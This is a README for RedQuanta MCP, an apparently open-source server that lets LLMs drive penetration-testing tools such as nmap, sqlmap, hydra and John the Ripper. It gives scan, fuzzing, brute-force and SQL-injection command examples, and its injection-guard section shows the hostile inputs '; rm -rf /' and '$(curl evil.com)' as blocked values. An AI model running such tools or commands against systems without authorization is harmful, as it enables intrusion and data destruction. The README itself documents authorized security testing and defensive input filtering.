RedQuanta-MCP

RedQuanta MCP transforms penetration testing into an intelligent, automated, and secure process. Built specifically for LLM integration and professional security teams, it provides enterprise-grade security orchestration.

GitHub Stars

1

User Rating

Not Rated

Forks

0

Issues

4

Views

0

Favorites

0

README
πŸ”₯ RedQuanta MCP Server

Version License Node TypeScript Platform

GitHub Stars Security MCP Compatible

πŸ›‘οΈ Enterprise-Grade Penetration Testing Orchestration Platform

Security-hardened, LLM-optimized, cross-platform Model Context Protocol server for professional penetration testing workflows

πŸš€ Quick Start β€’ πŸ“– Documentation β€’ πŸ”§ Features β€’ πŸ›‘οΈ Security β€’ 🀝 Contributing


🎯 Why RedQuanta MCP?

RedQuanta MCP transforms penetration testing into an intelligent, automated, and secure process. Built specifically for LLM integration and professional security teams, it provides enterprise-grade security orchestration with zero placeholder implementations.

✨ Key Differentiators
Feature RedQuanta MCP Traditional Tools
πŸ€– LLM Integration Native MCP protocol, optimized schemas Manual command-line only
πŸ›‘οΈ Security Model Jailed execution, audit logging, injection prevention Basic security, manual oversight
πŸ”§ Automation Multi-phase workflows, intelligent orchestration Single-tool execution
πŸ“š Documentation LLM-optimized help system, contextual guidance Man pages, fragmented docs
πŸ”Œ Extensibility Plugin architecture, hot reloading Static tool sets
πŸ“Š Reporting SARIF compliance, CI/CD integration, multi-format Text output only

πŸš€ Comprehensive Features
πŸ› οΈ Complete Tool Arsenal (16+ Tools)
🌐 Network Discovery & Scanning
  • 🎯 Nmap - Advanced network discovery with NSE script support
  • ⚑ Masscan - High-speed Internet-scale port scanning
  • πŸ“Š Custom Profiles - Stealth, aggressive, and balanced scanning modes
{
  "tool": "nmap_scan",
  "parameters": {
    "target": "192.168.1.0/24",
    "custom_flags": ["-sS", "-O", "--script", "vuln"],
    "profile": "aggressive",
    "dangerous": true
  }
}
🌐 Web Application Security
  • πŸš€ FFUF - Fast web fuzzing with intelligent filtering
  • πŸ” Gobuster - Directory and DNS enumeration
  • πŸ›‘οΈ Nikto - Comprehensive web vulnerability scanning
  • πŸ’‰ SQLMap - Advanced SQL injection testing (dangerous mode)
{
  "tool": "ffuf_fuzz",
  "parameters": {
    "url": "https://target.com/FUZZ",
    "wordlist": "/opt/wordlists/common.txt",
    "custom_headers": {"Authorization": "Bearer token123"},
    "threads": 200
  }
}
πŸ” Password & Authentication Security
  • πŸ”“ John the Ripper - Advanced password cracking with format detection
  • 🌊 Hydra - Network service brute forcing with intelligent throttling
  • βš–οΈ Ethical Controls - Explicit --dangerous flag required
πŸ€– Intelligent Automation
  • πŸ”„ Workflow Enum - Automated reconnaissance workflows
  • πŸ” Workflow Scan - Multi-phase vulnerability assessment
  • πŸ“„ Workflow Report - Professional report generation
  • 🧠 Adaptive Coaching - Beginner guidance or expert-level output
πŸ’Ύ System Operations
  • πŸ“ Filesystem Ops - Secure file management with jailed execution
  • βš™οΈ Command Runner - Sanitized command execution with audit trails
  • πŸ”Œ Plugin System - Dynamic custom tool loading with hot reload
🧠 LLM-Optimized Design
πŸ“š Comprehensive Documentation System
// Detailed schemas with examples for every tool
{
  inputSchema: {
    type: "object",
    properties: {
      target: { 
        type: "string", 
        description: "Target IP, hostname, or CIDR range",
        examples: ["192.168.1.10", "example.com", "10.0.0.0/24"]
      }
    }
  },
  llmGuidance: {
    whenToUse: "Use nmap for initial network reconnaissance",
    parameterTips: "Start with stealth scans, use CIDR for ranges",
    nextSteps: "Follow up with service-specific tools"
  }
}
πŸŽ“ Adaptive Coaching
  • Beginner Mode: Detailed explanations, safety warnings, step-by-step guidance
  • Advanced Mode: Concise technical output, advanced parameters
  • Context Awareness: Tool recommendations based on current testing phase
πŸ”Œ Advanced Plugin Architecture
πŸ› οΈ Custom Tool Development
// Example: SSL Analyzer Plugin
/**
 * @plugin {
 *   "name": "ssl_analyzer",
 *   "version": "1.0.0",
 *   "category": "web",
 *   "dangerLevel": "safe"
 * }
 */
export default class SSLAnalyzerTool extends ToolWrapper {
  async execute(options) {
    // Real SSL analysis implementation
    const results = await this.performSSLAnalysis(options.target);
    return {
      success: true,
      data: results,
      recommendations: this.generateRecommendations(results)
    };
  }
}

Plugin Features:

  • πŸ”„ Hot Reloading - Add tools without server restart
  • πŸ“ Manifest Support - JSON-based configuration
  • 🏷️ Custom Categories - Organize by security domain
  • πŸ›‘οΈ Safety Controls - Danger level validation
πŸ“Š Professional Reporting & CI/CD
πŸ“‹ SARIF Compliance & CI/CD Integration
// SARIF 2.1.0 compliant output
{
  "version": "2.1.0",
  "$schema": "https://json.schemastore.org/sarif-2.1.0.json",
  "runs": [{
    "tool": {
      "driver": {
        "name": "RedQuanta MCP",
        "version": "0.3.0",
        "rules": [...]
      }
    },
    "results": [{
      "ruleId": "nmap-open-port",
      "level": "warning",
      "message": { "text": "Open SSH port detected" },
      "locations": [{
        "physicalLocation": {
          "artifactLocation": { "uri": "192.168.1.10:22" }
        }
      }]
    }]
  }]
}

Reporting Features:

  • πŸ“Š Multiple Formats - SARIF, JSON, HTML, PDF
  • πŸ”„ Baseline Comparison - Track security improvements over time
  • 🏷️ GitHub Annotations - Direct PR/commit integration
  • πŸ§ͺ JUnit Output - CI/CD test reporting
⚑ Real-time Progress Tracking
πŸ“‘ Live Execution Monitoring
// Real-time progress updates
tracker.startExecution('nmap_scan', parameters);
tracker.updateProgress(executionId, 25, 'Host discovery phase');
tracker.startPhase(executionId, 'port_scanning');
tracker.completeExecution(executionId, results);

Progress Features:

  • πŸ“Š Multi-phase Tracking - Detailed execution phases
  • πŸ”„ Real-time Updates - Event-driven monitoring
  • πŸ“ˆ Performance Metrics - Execution time and resource usage
πŸ’Ύ Intelligent Caching System
πŸš€ Performance Optimization
// Tool-specific caching strategies
const cacheOptions = {
  'nmap_scan': { ttl: 600000 },     // 10 minutes
  'ffuf_fuzz': { ttl: 1800000 },    // 30 minutes  
  'nikto_scan': { ttl: 3600000 },   // 1 hour
  'john_crack': { ttl: 7200000 }    // 2 hours
};

// Performance improvements
const stats = cacheManager.getStats();
// { hits: 150, misses: 23, hitRate: 0.87 }

Caching Features:

  • ⚑ 20x Faster - Repeat operations from cache
  • 🧠 LRU Eviction - Intelligent memory management
  • 🏷️ Tag-based Invalidation - Selective cache clearing

πŸ›‘οΈ Enterprise Security Model
πŸ”’ Multi-Layer Security Architecture
β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚   Input Layer   β”‚ ← Validation & Sanitization
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚  Command Guard  β”‚ ← Injection Prevention  
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚   Path Guard    β”‚ ← Traversal Protection
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚ Jailed Executionβ”‚ ← Filesystem Boundaries
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚  Audit Logging  β”‚ ← Activity Monitoring
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜
πŸ›‘οΈ Security Features
πŸͺ Jailed Filesystem Execution
// All file operations are jailed and validated
const pathGuard = new PathGuard('/opt/redquanta/vol');

// Safe operations
pathGuard.validatePath('/etc/passwd');     // ❌ Blocked
pathGuard.validatePath('../../../etc');    // ❌ Blocked  
pathGuard.validatePath('reports/scan.xml'); // βœ… Allowed
πŸ›‘οΈ Command Injection Prevention
// Advanced argument sanitization
const argGuard = new ArgGuard();

// Dangerous inputs blocked
argGuard.validateArgs(['target.com', '; rm -rf /']);     // ❌ Blocked
argGuard.validateArgs(['$(curl evil.com)']);             // ❌ Blocked
argGuard.validateArgs(['192.168.1.1', '-sS']);          // βœ… Allowed
πŸ“ Comprehensive Audit Logging
// JSONL audit trail for all operations
{
  "timestamp": "2024-01-15T10:30:00Z",
  "level": "info", 
  "action": "tool_execution",
  "tool": "nmap_scan",
  "target": "192.168.1.0/24",
  "user": "security_analyst",
  "dangerous": false,
  "outcome": "success",
  "duration": 45230
}
⚠️ Dangerous Operation Controls

Operations requiring explicit --dangerous authorization:

  • πŸ”“ Password Cracking - John the Ripper operations
  • 🌊 Brute Force Attacks - Hydra network service testing
  • πŸ’‰ SQL Injection - SQLMap exploitation modules
  • πŸ“ File System Writes - Modifying files in jail
  • πŸ’₯ Exploitation - Active security testing

πŸš€ Quick Start
πŸ“‹ Prerequisites
  • Node.js 20 LTS or higher
  • pnpm package manager
  • Docker (optional, for tool fallbacks)
⚑ Installation Methods
πŸͺŸ Windows Setup (PowerShell)
# 1. Clone repository
git clone https://github.com/sc4rfurry/RedQuanta-MCP.git
cd RedQuanta-MCP

# 2. Run automated setup
Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope CurrentUser
.\scripts\setup-windows.ps1

# 3. Start server
.\start-windows.bat
🐧 Linux/macOS Setup
# 1. Clone repository  
git clone https://github.com/sc4rfurry/RedQuanta-MCP.git
cd RedQuanta-MCP

# 2. Install dependencies
pnpm install

# 3. Build project
pnpm build

# 4. Setup jail root
sudo mkdir -p /opt/redquanta/vol
sudo chown $USER:$USER /opt/redquanta/vol

# 5. Start server
pnpm start
🐳 Docker Deployment
# Quick start with Docker Compose
docker-compose up -d

# Custom configuration
docker run -d \
  -p 5891:5891 \
  -v ./config:/app/config \
  -e DANGEROUS_MODE=false \
  sc4rfurry/redquanta-mcp:latest
🎯 First Steps
πŸ” Health Check & System Verification
# Windows
.\redquanta-cli.bat doctor

# Linux/macOS  
pnpm cli doctor

# Expected output:
βœ… Node.js version: 20.11.0
βœ… Security tools available: 12/16
βœ… Jail root accessible: /opt/redquanta/vol
βœ… Configuration valid
βœ… Audit logging functional
⚠️  Nikto not found (will use Docker fallback)
πŸ›‘οΈ Dangerous mode: DISABLED (use --dangerous to enable)
πŸ› οΈ Tool Discovery
# List available tools
redquanta-cli tools

# Output:
🌐 Network Tools:
  β€’ nmap_scan - Network discovery and port scanning
  β€’ masscan_scan - High-speed port scanning
  
🌐 Web Tools:  
  β€’ ffuf_fuzz - Fast web fuzzing
  β€’ gobuster_scan - Directory enumeration
  β€’ nikto_scan - Web vulnerability scanning
  
πŸ” Password Tools:
  β€’ john_crack - Password cracking (⚠️ dangerous)
  β€’ hydra_bruteforce - Network brute force (⚠️ dangerous)

πŸ€– Workflow Tools:
  β€’ workflow_enum - Automated enumeration
  β€’ workflow_scan - Vulnerability scanning
  β€’ workflow_report - Report generation
🎭 Usage Examples
πŸ•ΈοΈ Network Reconnaissance
# Basic network scan
redquanta-cli enum 192.168.1.0/24

# Advanced network enumeration  
redquanta-cli enum 192.168.1.0/24 --scope network --depth aggressive

# Custom Nmap scan
redquanta-cli nmap 192.168.1.10 --custom-flags "-sS,-O,--script,vuln" --dangerous

Expected Workflow:

  1. 🎯 Host Discovery - Ping sweep to find live hosts
  2. πŸ” Port Scanning - TCP connect scan on discovered hosts
  3. πŸ›‘οΈ Service Enumeration - Version detection and banner grabbing
  4. πŸ“Š Report Generation - Structured output with recommendations
🌐 Web Application Testing
# Web application enumeration
redquanta-cli ffuf https://target.com/FUZZ --wordlist /opt/wordlists/common.txt

# Comprehensive web assessment
redquanta-cli scan https://target.com --type web --include nikto,ffuf --dangerous

# SQL injection testing (requires --dangerous)
redquanta-cli sqlmap "https://target.com/login?id=1" --dangerous --confirm

πŸ“– API Reference & Integration
πŸ”Œ MCP Protocol Integration
// MCP Client Integration
import { MCPClient } from '@modelcontextprotocol/client';

const client = new MCPClient();
await client.connect('stdio://redquanta-mcp');

// Execute network scan
const result = await client.callTool('nmap_scan', {
  target: '192.168.1.0/24',
  profile: 'stealth',
  coaching: 'beginner'
});

// Process results
if (result.success) {
  console.log(`Found ${result.data.hosts.length} live hosts`);
  result.data.recommendations.forEach(rec => console.log(`πŸ’‘ ${rec}`));
}
🌐 REST API Endpoints
Endpoint Method Description Example
/health GET System health check curl /health
/tools GET List available tools curl /tools
/tools/{name} POST Execute specific tool curl -X POST /tools/nmap_scan
/help/{tool} GET Get tool documentation curl /help/nmap_scan
/plugins GET List loaded plugins curl /plugins
/workflow/enum POST Run enumeration workflow curl -X POST /workflow/enum

πŸ—οΈ Architecture & Design
🎯 System Architecture
graph TD
    A[MCP Client] -->|stdio/REST| B[RedQuanta MCP Server]
    B --> C[Security Layer]
    C --> D[Workflow Engine]
    D --> E[Tool Execution]
    D --> F[Plugin System]
    E --> G[Command Runner]
    E --> H[Filesystem Manager]
    G --> I[Security Tools]
    H --> J[Jailed Execution]
    
    K[Progress Tracker] --> L[Real-time Updates]
    M[Cache Manager] --> N[LRU Cache]
    O[SARIF Reporter] --> P[CI/CD Integration]
    Q[Audit Logger] --> R[JSONL Logs]
πŸ›‘οΈ Security Components
  • πŸ”’ Path Guard - Prevents directory traversal attacks
  • πŸ›‘οΈ Argument Guard - Blocks command injection attempts
  • πŸ“ Jailed Filesystem - Confines all operations to secure boundaries
  • πŸ“ Audit Logger - Comprehensive activity monitoring
  • βš–οΈ Authorization - Explicit approval for dangerous operations

πŸ§ͺ Testing & Quality Assurance
πŸ”¬ Comprehensive Testing Suite
# Run all tests
pnpm test

# Test with coverage
pnpm test:coverage

# Security-focused tests
pnpm test:security

# Integration tests with real tools
pnpm test:integration
πŸ“Š Quality Metrics
Metric Target Current
Code Coverage >90% 94.2%
Security Tests 100% βœ… 100%
Integration Tests >85% 91.7%
Linter Compliance 0 errors βœ… 0 errors

πŸš€ Deployment & Production
🌐 Production Deployment Options
🐳 Kubernetes Deployment
apiVersion: apps/v1
kind: Deployment
metadata:
  name: redquanta-mcp
spec:
  replicas: 3
  selector:
    matchLabels:
      app: redquanta-mcp
  template:
    metadata:
      labels:
        app: redquanta-mcp
    spec:
      containers:
      - name: redquanta-mcp
        image: sc4rfurry/redquanta-mcp:latest
        ports:
        - containerPort: 5891
        env:
        - name: NODE_ENV
          value: "production"
        - name: JAIL_ROOT
          value: "/opt/redquanta/vol"
        resources:
          requests:
            memory: "1Gi"
            cpu: "500m"
          limits:
            memory: "2Gi"
            cpu: "1000m"
πŸ“Š Monitoring & Observability

Key Metrics Tracked:

  • πŸ“Š Tool Execution Times - Performance monitoring
  • πŸ›‘οΈ Security Events - Failed authentication, blocked operations
  • πŸ“ˆ Usage Patterns - Most used tools, workflow success rates
  • πŸ’Ύ Resource Utilization - Memory, CPU, disk usage
  • πŸ”„ Cache Performance - Hit rates, eviction patterns

🀝 Contributing

We welcome contributions from the security community!

πŸš€ Getting Started
πŸ’» Development Setup
# 1. Fork and clone
git clone https://github.com/sc4rfurry/RedQuanta-MCP.git
cd RedQuanta-MCP

# 2. Install dependencies
pnpm install

# 3. Run in development mode
pnpm dev

# 4. Run tests
pnpm test

# 5. Code quality checks
pnpm lint:fix
pnpm type-check
πŸ“‹ Contribution Guidelines
Area Guidelines
πŸ› οΈ Tools Add new security tools with complete schemas
πŸ”Œ Plugins Develop custom tools following plugin architecture
πŸ›‘οΈ Security All changes must pass security review
πŸ“š Documentation Include LLM-optimized help and examples
πŸ§ͺ Testing Maintain >90% test coverage

πŸ“„ License & Legal
πŸ“œ License

This project is licensed under the MIT License - see the LICENSE file for details.

βš–οΈ Legal Notices

🚨 IMPORTANT: RedQuanta MCP is designed for authorized penetration testing only. Users are responsible for ensuring they have proper authorization before testing any systems. Unauthorized access to computer systems is illegal in most jurisdictions.

πŸ›‘οΈ Responsible Disclosure

If you discover security vulnerabilities in RedQuanta MCP:

  1. πŸ“§ Create an Issue: Report Security Issues
  2. πŸ”’ For sensitive vulnerabilities: Contact @sc4rfurry directly
  3. ⏱️ Timeline: We aim to respond within 24-48 hours

πŸ“ž Support & Community
πŸ’¬ Get Help
Channel Purpose Response Time
πŸ“± GitHub Issues Bug reports, feature requests 24-48 hours
πŸ’¬ Discussions Community discussion, questions Community-driven
πŸ“§ Contact Direct contact with maintainer 24-48 hours
🌟 Acknowledgments

Special thanks to:

  • πŸ€– MCP Community - Protocol development and standards
  • πŸ›‘οΈ Security Researchers - Vulnerability reports and improvements
  • πŸ‘₯ Contributors - Code, documentation, and feedback
  • πŸ”§ Tool Authors - Nmap, FFUF, Nikto, and other excellent security tools

πŸ”₯ Ready to revolutionize your penetration testing workflow?

πŸš€ Get Started Now β€’ πŸ“– Read the Docs β€’ 🀝 Join the Community


Made with ❀️ by @sc4rfurry

Empowering security professionals with intelligent automation

Footer Footer
Footer

Author Information

10

Followers

118

Repositories

0

Gists

17

Total Contributions

Top Contributors

Threads